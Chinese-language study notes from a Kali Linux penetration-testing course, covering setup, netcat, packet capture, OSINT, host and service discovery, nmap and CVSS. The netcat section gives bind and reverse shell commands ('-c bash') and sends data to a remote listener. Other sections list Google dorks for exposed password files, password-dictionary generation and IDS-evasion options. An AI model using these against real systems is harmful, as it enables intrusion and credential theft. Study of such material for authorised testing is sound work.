KALI LINUX渗透测试学习笔记
(苑房弘主讲)
第1章 课程介绍
任务1:Kali Linux渗透测试介绍.exe
安全问题的根源:
分层思想
只求功能实现
最大的威胁是人
渗透测试:
尝试挫败安全防御机制,发现系统安全弱点;
从攻击者的角度思考,测量安全防护的有效性;
证明安全问题的存在,而非破坏;
渗透测试标准:PTES
渗透测试的误区:扫描就是一切,忽略业务逻辑层的漏洞。
KALI,印度教中的一个重要的女神。湿婆神妃帕尔瓦蒂的化身,是印度教派中最为隐晦的一派。
KALI Linux介绍
基于Debian的Linux发行版本;前身是BackTrack,2013年3月发布;用于渗透和安全审计;包含600+安全工具;FHS标准目录结构;定制内核;支持ARM和手机平台;开源免费;
kali linux策略:
root用户策略:只有root用户
网络服务策略:网络服务禁用
更新升级策略:每周都有更新,滚动更新
第2章 Kali安装
任务2.Kali Linux安装-硬盘安装、虚拟机安装.exe
把镜像刻录到u盘,推荐软件unetbootin。
DOCKER
一种容器技术,和虚拟化技术有相似的地方。
是一个应用所需要的运行环境的容器,性能很好,启动快。
每个容器独立,一台物理机上可以跑很多DOCKER。
kali官方网站提供DOCKER的镜像文件,好像最新的已经没有了。
任务3-1.Kali Linux 安装-持久加密USB安装、熟悉环境、熟悉BASH命令1.exe
在live模式之上,保存用户设置及信息,同时加密存储。
kali下也可以使用unetbootin制作live u盘,也可以使用dd命令
块拷贝在电子取证里非常重要,dd就是基于块形式的复制。
使用gparted删除u盘里的分区信息
使用dd命令:dd if=kali-linux-2.0-arm64-iso of=/dev/sdb bs=1M
可以使用watch命令查看dd的进度
watch -n 5 killall -USR1 dd
让dd定时汇报复制进度
先制作live形式的u盘,ios文件只占用大概3GB的空间。
把剩下空间可以利用起来。
LUKS:Linux Unified Key Setup是一种加密标准,囊括了很多种加密技术。
实现了linux平台下磁盘分区级的加密规范,和文件级的加密不同。
磁盘分区加密规范
不依赖于操作系统的磁盘级加密
windows下也可以使用LUKS
windows自己的硬盘加密:doxbox
后端:dm-crypt
前端:cryptsetup
微软有自己的bitlocker
dd命令复制完成以后,执行以下步骤:
使用LUKS加密分区;
打开加密分区;
格式化加密分区+卷标
挂载加密分区,并创建persistence.conf

为u盘创建额外分区;
fdisk,parted
print devices
select /dev/sdb
mkpart prinmary 3063 7063
quit
添加分区
cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3
YES
Enter passphrase:
Verify passphrase:
Command sucessful.
分局进行了加密,还没有格式化。
cryptsetup luksOpen /dev/sdb3 usb
输入密码
mkfs.ext4 /dev/mapper/usb
e2label /dev/mapper/usb persistence
卷标命名为persistence
将usb设备mount一下
mkdir -p /mnt/usb
mount /dev/mapper/usb /mnt/usb
echo “/ union” > /mnt/usb/persistence.conf
umount /dev/mapper/usb
cryptsetup luksClose /dev/mapper/usb

熟悉环境
gnome-tweak-tool #监视网络流量
apt-get install netspeed #鼠标放到状态栏:alt+右键,添加工具
第3章 工作环境优化
任务5:网络配置.exe
临时ip地址:
dhclient eth0 #自动获取地址
ifconfig eth0 192.168.1.10/24 #手动设置
route add default gw 192.168.1.1 #设置网关
netstat -nr #查看设置是否生效
echo nameserver 192.168.1.1 > /etc/resolv.conf #设置DNS
route add -net 192.168.2.0/24 gw 192.168.1.1 eth0 #添加静态路由
route -n #查看路由表
以上配置重启后会丢失,所以是临时ip地址配置。
编辑网卡配置文件可以固定配置
/etc/network/interfaces
iface eth0 inet static
address 192.168.1.1
netmask 255.255.255.0
gateway 192.168.1.254
dns-nameservers 8.8.8.8 202.102.224.68
up route add -net 172.16.5.0/24 gw 192.168.1.254 eth0
down route del -net 172.16.5.0/24

更新
apt-get update %% apt-get upgrade && apt-get dis-update
可以重复执行,确保所有更新已经执行。
安装适合自己的工具软件
•apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule
qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer freemind netspeed mtr filezilla filezilla-common chromium monodevelop mono-gmcs -y
gdebi 图形化安装deb软件包
amule 电驴
qbittorrent BT
geany 简便图形化程序开发环境,python,shell等都支持
stardict 翻译软件,能进行屏幕取词
meld 文件差异比较的工具
ttf-wqy-microhei 字体
kchmviewer 打开阅读chm文件
freemind 思维导图软件
netspeed 流量监控
mtr 路由追踪
filezilla 图形化的ftp客户端
chromium google的浏览器
mono 在linux下开发.net的环境
浏览器插件
•firefox浏览器插件
•flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent
Switcher、HackBar、Live http header、Firebug、Download YouTube Videos as MP4、
Flagfox、hashr
•https://addons.mozilla.org/en-US/firefox/addon/xss-me/
•https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/?src=ss
user agent switcher 修改浏览器agent,修改服务器检测浏览器类型。

任务6:安装Java.exe
现在的显卡GPU性能非常好,甚至超过了CPU,非常适合科学技术,适合做渗透测试中破解计算。
必须安装专用驱动,而不是默认通用驱动,才能发挥GPU的性能。

并发线程限制配置
DOS攻击工具等要求系统最大可打开文件数,才能发挥攻击工具的能力。
系统出于稳定性、效率性会默认限制系统资源使用情况,比如打开文件数、端口数、堆栈数等。
ulimite用于限制当前shell内进程的资源使用
查看默认值:ulimite -a
全局配置文件:/etc/security/limits
用途举例:
ulimit -s 100 #堆栈大小,减小堆栈数量可以在有限的物理内存情况下增加连接数量。
限制当前shell内存使用限制:limit -m 5000 -v 5000
可以添加到 .bashrc 文件内

电源优化
• 渗透测试系统耗电较大
• 延长电池寿命
• 无操作挂起、关闭显示器
• 降低显示器亮度
• 不使用时关闭无线网卡
• 开启硬盘省电选项
• hdparm -i /dev/sda if AdvancedPM=yes then hdparm -B 1 -S 12 /dev/sda #固态硬盘不需要
• 启动笔记本模式

任务7:翻墙代理.exe
翻墙:
http代理
socks代理
ssh隧道
VPN
Goagent #已经不可用
现在使用比较多: SS/SSR (已安装)
同时配合proxychains使用,某些命令需要抓包测试看是否生效。
第4章 实验环境
任务9:实验环境.exe
在某些国家对目标简单扫描都是违法的。
微软最新版软件
•https://www.microsoft.com/en-us/evalcenter/ 90天的试用
•Windows虚拟机,提供各种版本,类型的虚拟机,可能没有漏洞
•https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
•安装自己的虚拟机
msf是针对英文版操作系统,安装虚拟机时尽量安装英文版的iso
•Xp
•Win7
•2003
模拟真实网络
•M0n0wall防火墙
•http://m0n0.ch/wall/downloads.php
攻击者和被攻击者在直连网络中不能真实反应实际情况。
中间加上防火墙、IDS等有安全防护措施的结构,反应真实网络环境。

背靠背防火墙
•Pfsense防火墙
•https://pfsense.org/
可以增加特殊功能模块,比如WAF、IDS、IPS等。
第5章 基本工具
任务10:基本工具-NETCAT.exe
NETCAT ——NC
•网络工具中的瑞士军刀——小⾝身材、⼤大智慧
•侦听模式 / 传输模式
•telnet / 获取banner信息
nc -nv 123.125.50.29 110
nc- nv 123.125.50.138 25
•传输文本信息
A:nc -l -p 4444
B:nc -nv 1.1.1.1 4444
netstat -pantu | grep 4444
可以聊天
•传输文件/目录
可以远程电子取证
A:nc -l -p 4444
B:ls -l | nc -nv 1.1.1.1 4444

A:nc -l -p 4444 > /root/ps.txt
B:ps -aux | nc -nv 1.1.1.1 4444 -q 1 执行完成后,自动断开

A:nc -l -p 4444 > /root/lsof.txt
B:lsof | nc -nv 1.1.1.1 4444 -q 1

传输文件
A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1

A:nc -q 1 -lp 333 < a.mp4
B:nc -nv 1.1.1.1 333 > a.mp4
接收端和发送端可以互换,都能实现文件传输,也就是说侦听端可以接收也可以发送。
-q 参数在发送端设置。
传输目录
A:tar -cvf - musci/ | nc -lp 4444 -q 1
B:nc -nv 1.1.1.1 4444 | tar -xvf -
同样也可以用上面的方法进行反向传输。
•加密传输文件
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:mcrypt --flush -Fbq -a rijndael-256 -m ec < 1.mp4 | nc -nv 1.1.1.1 333 -q 1
默认系统没有安装mcrypt,需要手动安装
•远程控制/木马
正向
A:nc -lp 333 -c bash
B:nc 1.1.1.1 333
反向
A: nc 1.1.1.1 333 -c bash
B: nc -lp 333
在B上执行命令是对A机上进行的操作。
Windows用户把bash改成cmd;
建立了连接以后可以获得客户端也可以获得服务端的shell。
哪个加bash,哪个被控制。
服务器加强安全可以禁止内到外的连接。
•加密所有流量
nc缺乏加密和身份验证的能力
ncat可以弥补nc一些缺陷,是nmap工具包中的命令。
A:ncat ncat -c bash --allow 192.168.20.1 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl
ssl加密,根据来源地址进行限制。
#功能很强大,但是版本很多,不同系统/平台的nc参数功能不尽相同。
•流媒体服务器
A:cat 1.mp4 | nc -lp 333
B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
•端口扫描
nc -nvz 1.1.1.1 1-65535
z 仅做扫描,不会做后续的数据交互。默认使用tcp协议对tcp端口扫描
nc -vnzu 1.1.1.1 1-1024
u udp端口扫描
•远程克隆硬盘
用于电子取证,远程复制目标服务器硬盘、内存(完完全全)
A:nc -lp 333 | dd of=/dev/sdb (接收端)
B:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1 (发送端)
nc -h 查看帮助
man nc 查看帮助
base64 asdf@163.com
ctrl+d
显示base64编码的结果
任务14:WIRESHARK-信息统计、实践.exe
抓包嗅探协议分析,安全专家必备的技能。
实际是后台有抓包引擎:
Libpcap9 – Linux
Winpcap10 – Windows
衡量抓包工具能力的主要看解码能力,分析各种各样的协议的能力。
解码能力:抓包以后对数据包进行解码、分析、还原。
开启混杂模式,可以设置首选项对窗口进行更改,对协议进行更改,对列进行修改。
筛选器有:抓包筛选器和显示筛选器
筛选器可以叠加,有复杂的语法实现更精确的功能。
常见数据包
ARP
ICMP
TCP
UDP
ICMP,IGMP属于第四层包
有包类型1,2, TCP是6 UDP是17
HTTP
expert info 给出的是数据包分析的结果,而不是包内信息。
Wireshark默认是以端口来识别应用层应用的,比如http使用8080端口时就识别不出上层内容。
这时候可以在数据包上右键,decode as http,告诉程序使用http协议分析数据包内容。
Wireshark–TCP流
数据流
http 在http包上面右键–追踪流
smtp
pop3
ssl
ssl 安全套接字
ssl刚开始的几个数据包要进行ssl公钥传输,加密密钥的传输。
客户端接收服务器的公钥,然后随机产生客户端后续回话加密用的密钥(对称密钥),通过服务器公钥进行加密传输给服务器。
Wireshark–信息统计功能
对话
端点
协议分级
分组长度
分析—专家信息
会给出提示,提示网络中可能存在的问题。
当抓到大量包以后通常先从统计下手,专家信息,分析网络问题的原因。
对nc,ncat的流量比较:会发现一个是不加密,一个加密。

企业抓包部署方案
Wireshark不足的地方是在当抓大流量分析大流量时,性能欠缺。
在企业环境里流量比较大,分析任务比较重的时候需要使用商业化的软件。
其实都是基于Wireshark和Sniffer开发的。
对抓下来的包进行数据库存储和索引。
sniffer
CACE Pilot更名为CASCADE Pilot
Riverbed公司在整合CACE公司业务后,推出了CASCADE系列产品
大公司里会对所有流量24小时进行抓包。
在核心设备上做镜像端口,把物理或虚拟口上上下行流量复制到另外一个端口。
可以做端口绑定以增加吞吐量。
现在有全流量自动进行分析统计,安全检测的商业产品。
nessus公司也有一个此类产品。
任务15:TCPDUMP-抓包.exe
NO-GUI的抓包分析工具
Linux、Unix系统默认安装
默认情况下只抓每个数据包抓68个字节。
tcpdump -h
-s 0不限制大小,有多大抓多大。
tcpdump -i eth0 -s 0 -w a.cap
tcpdump -i eth0 port 80 #抓包过滤
读取抓包文件
tcpdump -r a.cap
tcpdump -r -A a.cap
tcpdump -r -X a.cap
更详细信息
tcpdump也支持显示筛选器,通过操作系统功能。
•tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
tcpdump本身也支持显示筛选
•tcpdump -n src host 145.254.160.237 -r http.cap
•tcpdump -n dst host 145.254.160.237 -r http.cap
•tcpdump -n port 53 -r http.cap
•tcpdump -nX port 80 -r http.cap
高级筛选功能
除了ip,port之外,数据包中其他字段也可以作为筛选项
可以针对tcp flag筛选 比如 ack psh位
tcpdump -A -n ‘tcp[13] = 24’ -r http.cap
tcp的13号字节,等于十进制24的包显示出来
过程文档记录工具
在渗透测试过程中,不是单兵作战,需要团队协同作战。
收集的信息非常繁多,所以需要记录过程文档。普通的方式不太安全,不太方便,不能共享。
短期临时小团队资源共享
Dradis (报告工具)
web方式,https://127.0.0.1:3004
默认不需要账户,输入密码即可登陆
支持很多种文件格式的导入。
Keepnote
在渗透测试团队里会有一个人专门的进行文档的收集和整理。
这些文档会成为在渗透测试完成以后报告的资料来源。
Truecrypt
加密工具,对过程文档进行加密保存。
生成一个文件,挂载成为磁盘,可以保存文件。完成后unmount掉。
支持隐藏加密卷
此软件已经停止维护更新,可能因为某安全事件,作者不想被牵连,FBI尝试破解以失败告终。以软件有安全漏洞为由停止更新。
VeraCrypt 替代软件
第6章 信息收集
任务16:被动信息收集:信息收集内容.exe
公开渠道可获得的信息,与目标系统不产生直接交互,尽量避免留下痕迹。
公开来源情报(OSINT)
信息收集内容:
IP地址段、域名信息、邮件地址、文档图片数据、公司地址、公司组织架构、联系电话/传真、人员姓名/职务、目标系统使用的技术架构、公开的商业信息。
信息用途:
用信息描述目标,发现具体目标、社会工程学攻击、物理方面缺口
信息收集–DNS
域名解析成ip地址
域名一般是sina.com
FQDN是www.sina.com
域名记录:A,C NAME,NS,MX,PTR(反向域名)
全球有13台根域服务器,同时有好多台镜像。
服务器之间进行的是迭代查询。
客户端到dns服务器之间是递归查询。
nslookup
nslookup www.sina.com
server 202.102.224.68 #指定dns服务器地址
set type=mx
多个记录前面有优先级数值。
set type=ns
PTR记录就是把ip解析成域名,就是知道ip获得对应的域名。
一个域名可以对应多个ip地址,用于实现轮询。
用不同的DNS服务器查询的时候查询的结果可能不一样,是因为使用了智能DNS。
type还有一个类型是text记录,spf记录,作用是反垃圾邮件。
将ip地址对应到一个域名。
邮件服务器中设置反垃圾邮件设置,开启反向域名解析。
查看邮件来源域名反向查询以后的ip地址是否为来源邮件ip地址。
nslookup -type=ns example.com 156.112.100.2
nslookup -q=any example.com 156.112.100.2
非授权记录是因为解析记录不是直接从dns中得来的,是从缓存得来的。
任务17:DNS信息收集-DIG.exe
与nslookup功能有相似的地方,有更强大的功能。
dig @8.8.8.8 www.sina.com mx
dig www.sina.com any
dig +noall +answer mail.163.com any
dig +noall +answer mail.163.com any | awk ‘{print $5}’
dig -x 220.181.14.157 #反向查询
bind版本信息:
dig +noall +answer txt chaos VERSION.BIND @s3.dnsv4.com
其他记录都是IN,从txt里查询chaos类
这个信息可以隐藏
DNS追踪:
dig +trace example.com
所有域权威服务器不会解析其他域的记录,也就是说不能设置新浪ns作为上网dns
客户端上发生的dns查询都是递归查询。
国内发生过com域劫持事件
dig 追踪是发起迭代查询。
先从本地dns服务器上查询13个根域ns记录
然后一步一步往下查
a-g.root-servers.net
AAAA记录是ipv6的A记录
任务18:DNS区域传输、DNS字典爆破、DNS注册信息.exe
对目标与服务器尝试区域传送
dig @ns1.example.com example.com axfr
ns1.example.com DNS服务器,指定域名,axfr=request for full zone transfer
区域传送使用TCP 53端口。
host -T -l sina.com 8.8.8.8
-T 使用TCP -l 进行全部区域传送
命令帮助
host -h host --help
man host info host
字典爆破DNS记录
fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
dnsdict6 -d4 -t 16 -x sina.com.cn #推荐这个命令
-t指定线程数,-x指定使用什么级别的字典。(s m l x u) m是默认
dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
dnsmap sina.com -w dns.txt
dnsrecon -d sina.com --lifetime 10 -t brt -D dnsbig.txt
–lifetime 超时时间,-t brt爆破的意思
dnsrecon -t std -d sina.com
-t std 标准破解方式
dpkg -L fierce
列出fierce软件在安装后在系统中生成的文件,可以查看是否有自带的字典或其他文件。
DNS注册信息
whois
whois -h whois.apnic.net 192.168.43.10
whois sina.com
whois 202.106.0.2 #whois ip 告诉我们ip地址段,供应商,物理地址,注册的域名等信息。
afrinic
apnic
arin
iana
icann
lacnic
nro
ripe
internic
任务19:搜索引擎、SHODAN.exe
公司新闻动态、重要雇员信息、机密文档/网络拓扑、用户名密码、系统软硬件技术架构
各大搜索引擎都有爬虫机器人,在互联网上不断的爬行,收集信息。
GHDB 需要掌握必须的一项技能
shodan 爬虫只爬互联网上的设备。
banner: http ftp ssh telnet
www.shodan.io HDMOORE参与了早期项目
常见filter
net
net:61.163.210.0/24 country:cn #组合搜索
city
country
country:cn citybeijing port:22 HTTP/1.1 200
port
os
country:cn citybeijing port:22 os:windows
hostname
hostname:baidu
server
200 ok cisco country:JP
user:admin pass:password
linux upnp avtech
可以查看帮助文档
物联网比互联网更加脆弱
mysql默认不允许外部地址连接数据库端口,只允许localhost
可根据登陆设备成功不成功提示的关键字进行搜索。
任务20:SHODAN.exe
不申请账号搜索有限制。
注册shodan以后会分配一个API key
可以通过编程开发的方式调用shodan API,recon-ng中有shodan api设置
https://www.shodan.io/exploer
常用用法,筛选命令使用方式,生成好的默认关键字。
add-ons 浏览器插件,专为浏览器设计。
shodan 插件
google 搜索引擎的使用方法
+充值-支付
搜索充值,不要支付关键字的页面。
-宝 去掉宝字
“支付 充值” #同时含有支付和充值的页面
北京的电子商务公司—北京 intitle:电子商务 intext:法人 intext:电话
阿里巴巴北京联系人—北京 site:alibaba.com inurl:contact
塞班司法案的PDF文档—SOX filetype:pdf
法国的支付相关页面—payment site:fr
实例:
inurl:”/level/15/exec/-/show”
intitle:”netbotz appliance” “OK”
inurl:/admin/login.php
inurl:qq.txt #网上会有人使用木马盗qq,会记录到一个地方。
filetype:xls “username | password”
搜索引擎可以在网站上爬取文件内容,有可能包含敏感信息。
inurl:ftpfiletype:xls site:baidu.com “password”
inurl:Service.pwd
frontpag漏洞
intitle:”index of” cdkey.txt
任务21:google搜索:实例.exe
用户信息
邮件、主机
theharvester -d sina.com -l 300 -b google
命令行工具,会调用相关网络资源。
搜索引擎会有保护机制,不易并发大量连接。
文件
metagoofil -d microsoft.com -t pdf -l 200 -o text -f 1.html (需要安装,是python脚本。)
meltago 图形化、强大的信息收集工具,打开时需要翻墙才能验证登录。
任务22:其他途径.exe
社交网络
工商注册
新闻组/论坛
招聘网站
http://www.archive.org/
Internet Archive is a non-profit library of millions of free books, movies, software, music, websites, and more.
收集网站的历史版本
个人专属的密码字典
按个人信息生成其专属的密码字典
CUPP–common user password profiler
python cup.py -i
收集个人信息后根据信息生成专属的密码字典,然后进行猜解。
人工智能在研究生成密码的思维、习惯、方式、规律。
metadata元数据
照片可能会记录gps信息
照片还会记录其他信息
exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
exif 1.jpg
foca windows下的元数据查看工具

任务23:RECON-NG.exe
全特性的web侦察框架,基于python开发
超级重量级的工具,被称为全特性的基于web的侦察框架。
这个工具实现了完整的全功能的被动信息收集的可能。
命令格式与msf一致,使用方法:
模块
数据库
报告
可以把查询结果直接生成报告出来。
shoudan注册账号后会分配一个API,可以加入到recno-ng里使用。
keys list可以查看可用的keys,api方式和web方式搜索到的结果有一定差别。
在全局下使用show options
使用默认线程数,不然搜索引擎会封掉API
use-agent 更改为其他值,不让网站留下日志
使用示例
dns查询
google,baidu,bing,yahoo,brute force
解析ip地址(查询数据库)
联系人,生成报告,调用API进行搜索
search google
如果有google api可以使用api方式没有可以使用web方式
使用web方式跟打开页面搜索是一样的,只不过recon-ng可以多线程。
设置完毕后run
搜索完成后结果存到hosts表里
可以show hosts
也可以使用命令:
query select * from hosts
多个搜索引擎结果会合并到一个hosts表里
可以使用复杂的select语句
query select * from hosts where host like ‘%www%’
use brut
暴力猜解,要指定options里的字典文件。
search resolve
use recon/hosts-hosts/resolve
show options或info
set SOURCE query select * from hosts where host like ‘%sina.com.cn%’
指定某些主机名解析成为ip地址,默认解析所有。
search report
use report/html
show options
第7章 主动信息收集
任务24:主动信息收集-发现1.exe
主动信息收集会与目标发起交互,为了避免留下痕迹,可以使用跳板。

使用代理或已经被控制的主机
做好被记录被封杀的准备
使用噪声迷惑目标,淹没真实的探测流量。
发现阶段
识别活着的主机,潜在被攻击的目标
输出一个ip列表
2层发现
arping
arping 1.1.1.1 -d
发现重复mac地址,可能存在arp欺骗。
arping -c 1 192.168.1.1 | grep “bytes from” | cut -d “ “ -f 5 | cut -d”(“ -f 2 | cut -d”)” -f 1
netdiscover
专用二层发现,可用于无线何交换网络环境,主动和被动探测。
主动:netdiscover -i eth0 -r 1.1.1.0/24
netdiscover -l iplist.txt
被动发现(把网卡设置为混杂模式,p=passive)
netdiscover -p
主动arp容易触发报警
scapy
作为python库进行调用,也可作为单独的工具使用,抓包、分析、创建、修改、注入网络流量。
ARP().display()
arp.pdst=”192.168.1.1”
ARP().display()
发送:sr1(arp)
answer.display()
python脚本二层发现
当渗透进入目标以后可以使用这个主机当跳板进行二层发现。
3层发现(ICMP)
优点:可路由,速度快,缺点:速度比二层慢,经常被边界防火墙过滤。
2,3层扫描发现结果可能存在漏报情况。
ping 1.1.1.1 -c 2
windows和linux的ping包是不太一样的,不同厂家使用icmp时可能有所不同。
ping -R 1.1.1.1 可以路由追踪,类似于traceroute
linux和大部分unix ttl 64
windows ttl 128
当使用traceroute命令时,每个路由器返回的是离发送端近的端口ip
当使用ping -R命令是,返回的是每个路由器离发送端远端ip地址。
也可以使用scapy
fping
fping 1.1.1.1 -c 1
支持地址段进行ping
fping -g 192.168.1.1-200 -c 10
hping
几乎能发送任意tcp/ip数据包,自定义数据包。
功能强大,但每次只能扫描一个目标。
发送大量数据包,可以进行压力测试。
nmap纯ping扫描比arping速度快,信息多。
nmap 1.1.1.1-254 -sn
nmap -iL ip.txt -sn
同时还会去dns找ptr记录。
任务27:主动信息收集-发现(四).exe
四层发现(发现是指发现主机)
优点:可路由且结果可靠,不太可能被防火墙过滤,甚至可以发现所有端口都被过滤的主机;
缺点:基于状态过滤的防火墙可能过滤扫描,全端口扫描速度慢。
TCP
未经请求的ACK–回复RST
SYN—回复SYN/ACK、RST
不管怎样,只要收到回复就能证明目标在线。
UDP
udp没有三次握手,直接发送,目标不在线,数据包一去不返。
如果icmp回复端口不可达,证明主机在线。
upd发现比较难,如果主机在线,端口也开放,数据包也是一去不返。
scapy也可以用于四层发现
任务28:主动信息收集-发现(五).exe
nmap 1.1.1.1-254 -PU53 -sn
-PU53 (UDP端口)
nmap 1.1.1.1-254 -PA80 -sn
-PA80 (ACK TCP扫描)
nmap -iL iplist.txt -PA 80 -sn
hping3 -udp 1.1.1.1 -c 1
hping3 1.1.11 -c 1 默认情况下hping3使用 tcp协议
端口扫描
UDP
nmap -sU 1.1.1.1 -p1-1000 (-p- 所有端口)
TCP
TCP有三次握手的过程,可以针对三次握手的变化状态进行扫描

僵尸扫描,极度隐藏,实施条件苛刻,需伪造源地址(现在大多数路由器会对源地址进行验证);而且系统比较老(新系统IPID是随机的,不是递增的);而且系统闲置,没有其他网络流量,这样可根据IPID号来判断目标端口是否开放。

任务31:服务扫描.exe
服务扫描:识别开放端口上运行的应用,识别目标操作系统,提高攻击效率。
通过:banner捕获,服务识别,操作系统识别,SNMP分析,防火墙识别。
适当识别防火墙。
banner获取
nc -nv 1.1.1.1 80
scapy不太适合做应用层的数据构造。
dmitry
DMitry(Deepmagic Information Gathering Tool)是一个一体化的信息收集工具。它可以用来收集以下信息:

端口扫描
whois主机IP和域名信息
从Netcraft.com获取主机信息
子域名
域名中包含的邮件地址
尽管这些信息可以在Kali中通过多种工具获取,但是使用DMitry可以将收集的信息保存在一个文件中,方便查看。
namp也可以发现banner
nmap -sT 1.1.1.1 -p 22 --scripte=banner.nse
nmap 脚本路径/usr/share/nmap/script
amap 192.168.1.1-100 -q
amap 192.168.1.1-100 -qb
banner信息抓取能力有限,也不一定准确。
nmap有丰富的特征库来识别目标的服务和操作系统。
nmap 192.168.1.1 -p1-1000 -sV
任务32:操作系统识别.exe
操作系统识别:种类繁多,好产品采用多种技术组合
TTL
windows 128(65–128)
linux/unix 64(1-64)
某些unix 255
可以修改ttl值
CPE 编号
nmap -O 192.168.1.1
xprobe2 191.168.1.1
被动扫描
不向主机进行发包,对流量进行抓包。
可结合arp欺骗进行分析
p0f,开始对网络接口收到的数据包进行分析
snmp扫描
使用upd 161,162端口,被管理端使用161,客户端使用162。
DHCP基于udp之上的应用层协议,客户端使用67,服务端使用68。
在网络设备比较多的网络里,使用snmp监控设备状态。
SNMP是信息的金矿,经常被错误配置。
MIB库,需要在客户端导入厂家专有的MIB库,才能查到厂家专有信息。
默认情况下服务器配置snmp以后可供客户端来查询,平时不发送信息。
配置完陷阱以后就可以主动向外发送设备信息。
nmap是扫描不出来目标硬件架构的,snmp可以发现设备的硬件信息。
onesixtyone
onesixtyone -c dict.txt -i hosts -o log.txt -w 100
dpkg -L onesixtyone
查看onesixtyone自带词典
snmp使用明文发送信息。
snmpwalk
snmpwalk 192.168.1.1 -c public -v 2c (-v版本,1,2,2c,3)
会查得到好多mib库信息
snmpcheck -t 192.168.1.1
比snmpwalk可读性友好
snmp-user-enum
smtp-user-enum是一种通过SMTP服务(sendmail)在Solaris上枚举操作系统级用户帐户的工具。
任务33:SMB扫描.exe
smb=Server Message Block协议
微软开发的,应用比较广,历史上出现安全问题最多的协议,
实现复杂,默认开放,文件共享。
最早的1.0版本经典漏洞:空会话未身份认证访问。
后来linux也开始支持smb协议。
nmap -v -p 139,445 192.168.1.1-20
nmap 192.168.1.1-20 --script=smb-os-discovery.nse
nmap -v -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.1
扫描开放端口是否有漏洞,是否及时打了补丁。使用脚本,脚本后还可以加参数。
nmap -v -p 139,445 --script= smb-check-vulns --script-args=unsafe=1 192.168.1.1 -Pn
nmap中有很多可用脚本。
nbtscan -r 192.168.1.0/24
nbtscan扫描的好处是可以跨网段扫描,不使用arp。
enum4linux -a 192.168.1.110
在linux上枚举出windows系统,不支持网段扫描,单个扫描,但是结果比较详细。
任务34:SMTP扫描.exe
nc -nv 1.1.1.1 25
nmap smtp.163.com -p 25
–script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY}
默认情况下邮件服务器不开启中继功能,早期smtp服务器可能会开放中继功能,就是所有人都可以用此邮件服务器给其他邮箱发送邮件。
黑客可以用此邮件服务器发送钓鱼邮件,垃圾邮件等。

防火墙扫描(识别)
通过扫描防火墙识别出防火墙的类型和过滤规则。
扫描行为尽量隐蔽。
内网通过防火墙nat转换的防火墙临时开放高于1024的端口仅用于网络访问。
通过检查回包,可能识别端口是否经过防火墙过滤。
设备多种多样,结果可能存在误差。

负载均衡扫描(识别)
在扫描探测时有必要识别出服务是否使用负载均衡。
广域网负载均衡
dns轮询,或智能DNS
HTTP-Loadbalancing
Nginx
Apache
lbd www.baidu.com
lbd mail.163.com

WAF识别
主流waf基于规则的过滤没有办法100%把攻击性代码过滤掉,基于规则的过滤有一定的漏报,会有各种各样的办法绕过规则。
现在更流行基于机器学习 基于特征识别 基于词法语法的识别
wafw00f -l #列出能检测出来waf的类型
wafw00f http://www.taobao.com
nmap www.taobao.com --script=http-waf-detect.nse

NMAP 重点介绍
nmap -p 22 默认tcp,udp都会扫描
不指定端口的情况下会扫描目标1000个知名端口
-F 扫描比较少数量的端口
-r 扫描连续端口,不是随机扫描
–top-ports 10 只扫1000个端口排前10的端口
-sV 扫描端口对应服务
–version-intensity 0-9 数字越大越详细
–version-trace 扫描跟踪
–version-help=
脚本帮助信息
-T 0-5 数字越大越块,默认3,越块越容易引起目标注意。
防火墙,IDS欺骗
-f --mtu值
-D 迷惑目标
-S 欺骗源地址
–proxiex 指定代理
扫描前进行抓包测试,某些扫描参数不支持代理,会暴露真实IP。
第8章 漏洞扫描
任务35:漏洞扫描.exe
基于端口服务扫描结果版本信息(速度慢)
搜索已公开的漏洞数据库(数量大)
使用漏洞扫描器实现漏洞管理
kali下使用此命令:searchsploit
从exploit-db中查找
sandi,需要安装。apt-get install sandi
从信息的维度定义漏洞管理
信息收集
扫描发现网络IP、OS、服务、配置、漏洞
能力需求:定义扫描方式内容和目标
信息管理
格式化信息,进行筛选、分组、定义优先级
能力要求:资产分组、指定所有者、向所有者报告漏洞
信息输出
向不同层级的人群展示足够的信息
能力要求:生成报告,导出数据,与SIEM(安全信息与事件管理)集成

漏洞扫描类型
主动扫描
有身份验证
无身份验证
被动扫描
镜像端口抓包
其他来源输入
基于Agent的扫描(企业内部对漏洞管理,需要在目标上安装扫描器的agent,在目标系统里进行信息收集,某些平台、设备不允许安装agent,应用场景有局限)
支持平台有限
漏洞概念:
CVSS(Common Vulnerability Scoring System)
通用漏洞评分系统–工业标准
描述安全漏洞严重程度的统一评分方案
V3版本–2015.6.10
Basic Metric:基础的恒定不变的漏洞权重
Tmeporal Metric:依赖时间因素的漏洞权重
Enviromental Metric:利用漏洞的环境要求和实施难度的权重。

CVSS评分计算方法:
基本评价:
基本评价指的是该漏洞本身固有的一些特点及这些特点可能造成的影响的评价分值

基础评价 = 四舍五入(10攻击途径攻击复杂度认证((机密性机密性权重)+(完整性完整性权重)+(可用性*可用性权重)))

生命周期评价:
是针对最新类型漏洞(如:0day漏洞)设置的评分项,因此SQL注入漏洞不用考虑。
因此这里也列举出三个与时间紧密关联的要素如下:

生命周期评价 =四舍五入(基础评价可利用性 修复措施*未经确认)

环境评价
每个漏洞会造成的影响大小都与用户自身的实际环境密不可分,因此可选项中也包括了环境评价,这可以由用户自评。(用户扫描配置时填写)
环境评价 = 四舍五入<(生命周期评价 + [(10 -生命周期评价) *危害影响程度]) *目标分布范围>
评分与危险等级

CVSS
